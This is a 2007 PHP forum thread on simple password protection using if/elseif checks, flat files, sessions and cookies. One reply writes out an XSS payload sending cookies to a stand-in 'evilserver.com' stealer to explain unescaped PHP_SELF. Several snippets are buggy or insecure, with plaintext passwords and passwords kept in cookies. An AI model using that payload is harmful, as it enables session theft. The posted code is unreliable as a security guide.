Log in

View Full Version : If() Elseif()



TimFA
12-21-2007, 10:32 PM
Ok, I would just like to know, without creating a database is there a way to create a password (I know its not the recommended way) protection script in PHP. Best way I found was:



<?php
if(($_POST['password'])=="password1") {
print("pass1");
}
elseif(($_POST['password'])=="password2") {
print("pass2");
}
elseif(($_POST['password'])=="password3") {
print("pass3");
}
else {
print("no pass");
}
?>


Clearly that would be terrible to maintain the password list. And yes I realize I should have created a variable, or whatever this is called:



$password = $_POST['password'];


I just haven't yet. Any recommendations? Please don't change the script completely this time, just tell me how, if possible to create some sort of list it checks. Maybe a text file? I can hide the text file, and since no one can see the PHP it would be relatively safe. I'm not protecting Credit Card #s and PINs or something.

EDIT: I mean't to have a title of "If() Elseif() password protection" what happened to the rest lol?

Thanks,
Tim

fileserverdirect
12-21-2007, 10:45 PM
Try using Flat Files:
http://www.joe2torials.com/view_tutorial.php?view=61 or http://www.designdetector.com/archives/04/10/FlatFileDatabaseDemo.php#phpcode
Write the information first, and then use the "r" attribute to read off the passwords, you can add two seperators, one for a password and another for any data that belongs with the password.

TimFA
12-21-2007, 10:48 PM
How exactly would PHP check that though???

I see how it could be useful, but not where it can help me here. The tutorial is very basic...

fileserverdirect
12-21-2007, 10:55 PM
Try the other link, it expalins it better...

TimFA
12-21-2007, 11:00 PM
The edit was done after I posted my reply, sorry.

djr33
12-21-2007, 11:05 PM
Using your original method is completely secure. No problem. However, as you said, it's just bad to maintain.

I have made a lot of pages with a password in the PHP script, but only for one password. (Or maybe 3--- different permission levels.)

But once each user has a password, it's much easier to store them in an organized way. Use a database or use flat files like described above. But this isn't about security, just organization.

TimFA
12-21-2007, 11:12 PM
The second tutorial, is much better, my problem is that the whole pipe character though me for a loop, I'm not going to be using passwords & user names just passes. And from what I understand that script will return data in a way, that I do not understand. i've yet to see how to do a check if it equals a pass on the list.

djr33
12-21-2007, 11:15 PM
Look up and understand these functions:
file_get_contents()
explode("\n",$thattext)
in_array()

That should be enough.

TimFA
12-21-2007, 11:17 PM
I'll come back when I do. Will this be self-explanatory, as in once I know I can do it?

fileserverdirect
12-21-2007, 11:24 PM
djr33 is right, I thought you were storing alot of users for your website.
Also, after they have logged in, you can use sessions to store the password, so it does not have to be in a "POST" method all the time.


$fp = fopen('flat-file-data.txt','r');
$line = fgets($fp, 1024);
list ($passwordlvl1, $passwordlvl2, $passwordlvl3) = split ('\|', $line);

if($_SESSION['password']==$passwordlvl1)
{
//password #1
}
elseif($_SESSION['password']==$passwordlvl2)
{
//password #2
}

elseif($_SESSION['password']==$passwordlvl3)
{
//password #3
}

else
{
header("location: login.php");
}

-untested
The $_SESSION['password'] would have to be set by the login script.

djr33
12-21-2007, 11:41 PM
It can be even simpler than that, but that should work. Here is what I'd write:

$f = explode("\n",file_get_contents('myfile.php'));
unset($f[count($f)]); unset($f[0]); sort($f); //remove the PHP line at top of file
if (in_array($password)) {
//ok
include('loggedinpage.php'); //probably
}
else
{
header("location: login.php")
}

For the password page, save as a .php file, and use this format:
<?php die('You may not view this page.'); //or 'error' ?>
password1
password2
password3
etc...
?>

Also, here is another easy way: Store the passwords in an array in a php file.
$passwords = array(
'pass1' => 'full';
'pass2' => 'some';
'pass3' => 'some';
'pass4' => 'limited'
);
include() that page, and check if $passwords[$pass] is set. If so, it's value will tell you the permission level.
(You could just type this list in your page directly, if it is short enough to not make things messy.)

It's better if you understand this than if I write it for you, so you can make it fit exactly how you want.

Now that you see these functions, I hope it is easy to adjust.


Note: The reason for having the line at the top of die() on the included page is so that you can't just view the passwords. That will skip it. Then the parsing page knows to ignore the first (and last) line.


Good luck. If you don't understand part of it, ask. I didn't explain every line, but you should be able to guess what it does. Not much is unexpected.

TimFA
12-21-2007, 11:49 PM
I don't do much with PHP, looks like I'm going to be research PHP Sessions. Ayways I understand the above script.

opening & getting the data:
$fp = fopen('flat-file-data.txt','r');
$line = fgets($fp, 1024);

organization:
list ($passwordlvl1, $passwordlvl2, $passwordlvl3) = split ('\|', $line);
note: i understand, durrrr the "|" symbol simply means this is where the end of this line is. at first i misunderstood.
checking:
if($_SESSION['password']==$passwordlvl1)
{
//password #1
}
elseif($_SESSION['password']==$passwordlvl2)
{
//password #2
}

elseif($_SESSION['password']==$passwordlvl3)
{
//password #3
}

if not correct:

else
{
header("location: login.php");
}

Twey
12-22-2007, 01:07 AM
<?php session_start(); ?>
<?php
$prefix = 'display_page_';
$pws = array(
'pass1' => 'one',
'pass2' => 'two',
'pass3' => 'three'
);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<?php
function no_pass() {
?>
<head>
<title>Please Enter a Password</title>
</head>
<body>
<p>
Please enter a password.
</p>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<div>
<label>
Password:
<input type="password" name="password">
</label>
</div>
</form>
</body>
<?php
} function wrong_pass() {
?>
<head>
<title>Wrong Password</title>
</head>
<body>
<p>
You got the password wrong, you silly bear!
</p>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<div>
<label>
Try again:
<input type="password" name="password">
</label>
</div>
</form>
</body>
<?php
} function display_page_one() {
?>
<head>
<title>Page One</title>
</head>
<body>
<p>
Welcome to Page One!
</p>
</body>
<?php
} function display_page_two() {
?>
<head>
<title>Page Two</title>
</head>
<body>
<p>
This is Page Two!
</p>
</body>
<?php
} function display_page_three() {
?>
<head>
<title>Page Three</title>
</head>
<body>
<p>
And this is page three!
</p>
</body>
<?php
}

$pw = $_SESSION['password'] = (isset($_POST['password'])
? @$_POST['password']
: @$_SESSION['password']);

if(!$pw)
no_pass();
else if(function_exists($fn = $prefix . @$pws[$pw]))
$fn();
else
wrong_pass();
?>
</html>Databases and page templates in separate files really are easier though. Untested.

fileserverdirect
12-22-2007, 01:14 AM
If it's PHP Sessions your looking for:
http://www.tizag.com/phpT/phpsessions.php
It's a good beginners tutorial.
---
djr33's way works the same as mine except it is for "mass" password storing that is universal for your site(however you could use it for however many you want :)). There is a small add-on to his script, that you need if you do not want to check to see if the password is set. This is if certan passwords needed certan permissons. Place this at the top of each protected page for eqach permission.


include('passwords.php');
if($_SESSION['pass']==$passwords[pass1])
{
include('protectedpage.php');
}
else {
header('location: login.php');
}

You will need to use the array in passwords.php:

$passwords = array(
'pass1' => 'full';
'pass2' => 'some';
'pass3' => 'some';
'pass4' => 'limited'
);

EDIT: Post was started before Twey's, did not know he posted
:)

TimFA
12-22-2007, 01:19 AM
Ok, I was trying to make my own version with the first thing.

login.php


<?php
if(($_POST['password'])=="password1") {
setcookie("password", $password1, time()+604800);
print("pass1");
}

elseif(($_POST['password'])=="password2") {
setcookie("password", $password2, time()+604800);
print("pass2");
}

elseif(($_POST['password'])=="password3") {
setcookie("password", $password3, time()+604800);
print("pass3");
}

else {
print("no pass");
}
?>


insert into the page requiring login:


<?php
$password = $HTTP_COOKIE_VARS["password"];

if ($password=="$password1") {
print ("logged in. pass: password1
<br>
<br>
<a href=\"phpscripts/logout.php\">Logout</a>");
}

elseif ($password=="$password2") {
print ("logged in. pass: password2
<br>
<br>
<a href=\"phpscripts/logout.php\">Logout</a>");
}

elseif ($password=="$password3") {
print ("logged in. pass: password3
<br>
<br>
<a href=\"phpscripts/logout.php\">Logout</a>");
}

else {
print ("Login please.
<br>
<br>
Password:
<br>
<form method=\"POST\" action=\"phpscripts/login.php\">
<input class=\"field\" type=\"text\" name=\"password\" size=\"7\">
<br>
<br>
<input onmouseover=\"this.src='images/buttons/loginbutton_mouseon.gif';\" onmouseout=\"this.src='images/buttons/loginbutton_mouseoff.gif';\" type=\"image\" src=\"images/buttons/loginbutton_mouseoff.gif\" alt=\"Login\">
</form>");
}
?>


logout.php


<?php
setcookie ("password", "", time()-604800);
print ("<head><script language=\"JavaScript\">
var time = null
function move() {
window.location = 'http://fassist.profusehost.net/'
}
</script>
</head>
<body onload=\"timer=setTimeout('move()',1000)\">
</body>");
?>


Heres the problem, first time I refreshed it worked fine, asked me for a pass. I input password1, just fine page comes up "logged in. pass: password1", but I can't logout...I tried clearing cookies, running CCleaner, and of course to run CCleaner you must shutdown FireFox, so clearly its been restarted I tried Ctrl+F5. Then I made the logout.php nothing I do works, why can't I log back out?????

edit: i just viewed in Opera, it displayed the same message which tells me there might be something wrong with the script ? But the first time it seemed to work...

tech_support
12-22-2007, 02:53 AM
...<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">...

Hm.. I read in a book once that you need to put htmlspecialchars() on $_SERVER['PHP_SELF']. Some security issue. Is that over-kill or something?

Twey
12-22-2007, 03:33 AM
If someone broke into your server and moved the script to a location like "><script>location="http://www.evilserver.com/cookiestealer.php?cookies="+document.cookie;</script>.php then there's the potential for an XSS attack, but in that case you've bigger things to worry about :) Doesn't hurt though.

TimFA
12-22-2007, 05:34 PM
I was trying to this time, not use someone else's scripting, so can someone point me in the direction of what I did wrong on mine?

edit: wait, is an escape needed? like here:



elseif ($password=="\$password2") {

TimFA
12-22-2007, 06:47 PM
Found some of the problems. I'm about to test and see if it works.

edit: now it always detects me as not logged in, I suspect either my cookie placing is faulty, or the detection is.

insert for login:


<?php
$password = $HTTP_COOKIE_VARS["password"];

if ($password=="password1") {
print ("logged in. pass: password1
<br>
<br>
<a href=\"phpscripts/logout.php\">Logout</a>");
}

elseif ($password=="password2") {
print ("logged in. pass: password2
<br>
<br>
<a href=\"phpscripts/logout.php\">Logout</a>");
}

elseif ($password=="password3") {
print ("logged in. pass: password3
<br>
<br>
<a href=\"phpscripts/logout.php\">Logout</a>");
}

else {
print ("Login please.
<br>
<br>
Password:
<br>
<form method=\"POST\" action=\"phpscripts/login.php\">
<input class=\"field\" type=\"text\" name=\"password\" size=\"7\">
<br>
<br>
<input onmouseover=\"this.src='images/buttons/loginbutton_mouseon.gif';\" onmouseout=\"this.src='images/buttons/loginbutton_mouseoff.gif';\" type=\"image\" src=\"images/buttons/loginbutton_mouseoff.gif\" alt=\"Login\">
</form>");
}
?>


login.php


<?php
if(($_POST['password'])=="password1") {
setcookie("password", "password1", time()+604800);
print("pass1");
}

elseif(($_POST['password'])=="password2") {
setcookie("password", "password2", time()+604800);
print("pass2");
}

elseif(($_POST['password'])=="password3") {
setcookie("password", "password3", time()+604800);
print("pass3");
}

else {
print("no pass");
}
?>


logout.php


<?php
setcookie ("password", "", time()-604800);
print ("<head><script language=\"JavaScript\">
var time = null
function move() {
window.location = 'http://fassist.profusehost.net/testing'
}
</script>
</head>
<body onload=\"timer=setTimeout('move()',1000)\">
</body>");
?>


Thanks again guys,
Tim

djr33
12-22-2007, 06:59 PM
PHP sessions are much better than cookies.

TimFA
12-22-2007, 07:07 PM
BUT at the moment I am trying to use cookies, please tell me where my problem is.

edit: nevermind, I suppose I'll use Sessions for now.

edit2:

new code:

page insert:


<?php
session_start();
$_SESSION['password']=$password;

if ($password=="password1") {
print ("logged in. pass: password1
<br>
<br>
<a href=\"phpscripts/logout.php\">Logout</a>");
}

elseif ($password=="password2") {
print ("logged in. pass: password2
<br>
<br>
<a href=\"phpscripts/logout.php\">Logout</a>");
}

elseif ($password=="password3") {
print ("logged in. pass: password3
<br>
<br>
<a href=\"phpscripts/logout.php\">Logout</a>");
}

else {
print ("Login please.
<br>
<br>
Password:
<br>
<form method=\"POST\" action=\"phpscripts/login.php\">
<input class=\"field\" type=\"text\" name=\"password\" size=\"7\">
<br>
<br>
<input onmouseover=\"this.src='images/buttons/loginbutton_mouseon.gif';\" onmouseout=\"this.src='images/buttons/loginbutton_mouseoff.gif';\" type=\"image\" src=\"images/buttons/loginbutton_mouseoff.gif\" alt=\"Login\">
</form>");
}
?>


login.php


<?php
if(($_POST['password'])=="password1") {
session_start();

$_SESSION['password']='password1';
print("pass1");
}

elseif(($_POST['password'])=="password2") {
setcookie("password", "password2", time()+604800);
print("pass2");
}

elseif(($_POST['password'])=="password3") {
setcookie("password", "password3", time()+604800);
print("pass3");
}

else {
print("no pass");
}
?>

note: yes i know i only converted pass1 to sesions, it was just to test so i didn't change them all.

Any clue as to what I've broken????? I thought everything was correct...

fileserverdirect
12-23-2007, 12:22 AM
I told you that you should sessions, they are more reliable.
But your origanal problem was that you never unset the cookies, you would be logged in forever, just set the cookie blank if you want to log out.
--
Anyways, what's that problem, we can't help if you just say "Its broken"
What's the error, what does not work?

TimFA
12-23-2007, 01:01 AM
My previous post said the error, and no the problem was not that I wasn't un-setting the cookies, they had been cleared then I created a logout, still no effect, finally I changed the code (I remember where I had left out some quotes that were needed) and it suddenly stopped. The problem is that it will not remember me, with cookies or sessions.

djr33
12-23-2007, 03:45 PM
That script seems ok, but I changed a few things last time I posted. I'll explain why and maybe it will help. This isn't meant to be an attack on your code, but just a way it could be improved some:

$fp = fopen('flat-file-data.txt','r');
$line = fgets($fp, 1024);
//I don't see any need to fopen/fgets, when you can just use file_get_contents().
//that also avoids any permission errors that would be encountered with fopen.
list ($passwordlvl1, $passwordlvl2, $passwordlvl3) = split ('\|', $line);
//list is fine, but what if there are more listed in the file?
//certainly you don't need to use an external file for 3 passwords
//using split is also a bit weird. explode() doesn't require regex, and "|" would be valid, no need for \|.


if($_SESSION['password']==$passwordlvl1){//password #1
}elseif($_SESSION['password']==$passwordlvl2){//password #2
}elseif($_SESSION['password']==$passwordlvl3){//password #3
}
//ok, this would work.
//however, I would store a "logged in" variable in the session, not the password
//if ($_POST['pass']=='pass1') { $_SESSION['loginlevel'] = 1; }

else
{
header("location: login.php"); //fine, but technically should be a full URL for some reason
}

TimFA
12-23-2007, 06:15 PM
Thank you drj, but can't someone just tell me whats wrong with that one???? Why can't it remember me??

djr33
12-23-2007, 06:59 PM
His script was easier to correct because I can easily follow the logic.

Here are a couple things to improve:

1. $_SESSION['password']=$password;
That looks backwards to me. $password was never set, so I think you want to get the pass FROM the session, not the other way around. That is probably the biggest issue.

2. You are still using cookies, not session variables for the login.
Place session_start() at the top of the pages. That's it. Then you can save any value to $_SESSION['...'] and it will be available on any other page with session_start() at the top for the duration of your session. So, replace the set_cookie() functions with storing the value to an index of the $_SESSION array.

TimFA
12-23-2007, 07:18 PM
If you read my code, the first one, which I always type in ("password1") IS properly configured for sessions. My problem was the $password thing, I was thinking along the lines of: Get the session data, then turn it into a variable. So I screwed up my order. Thank you alot djr.



if(($_POST['password'])=="password1") {
session_start();

$_SESSION['password']='password1';
print("pass1");
}

that is the code for login.php, unless I'm mistaken that is correct.

edit: i correct that one thing, my reverse order and now all is perfect, thank you everyone for your help.

djr33
12-23-2007, 08:06 PM
Seems reasonable, though you might want to do if (isset($_POST['password'])), then check it from there.

TimFA
12-23-2007, 08:08 PM
What difference does it provide? How would I go about sending the user back to the previous page? I tried javascript.go.history(-1); but that doesn't refresh the page, so no luck there. I thought about getting the referring URL, but thats not always correct, or reliable. So whats my best bet? Do I have to send them back to the homepage?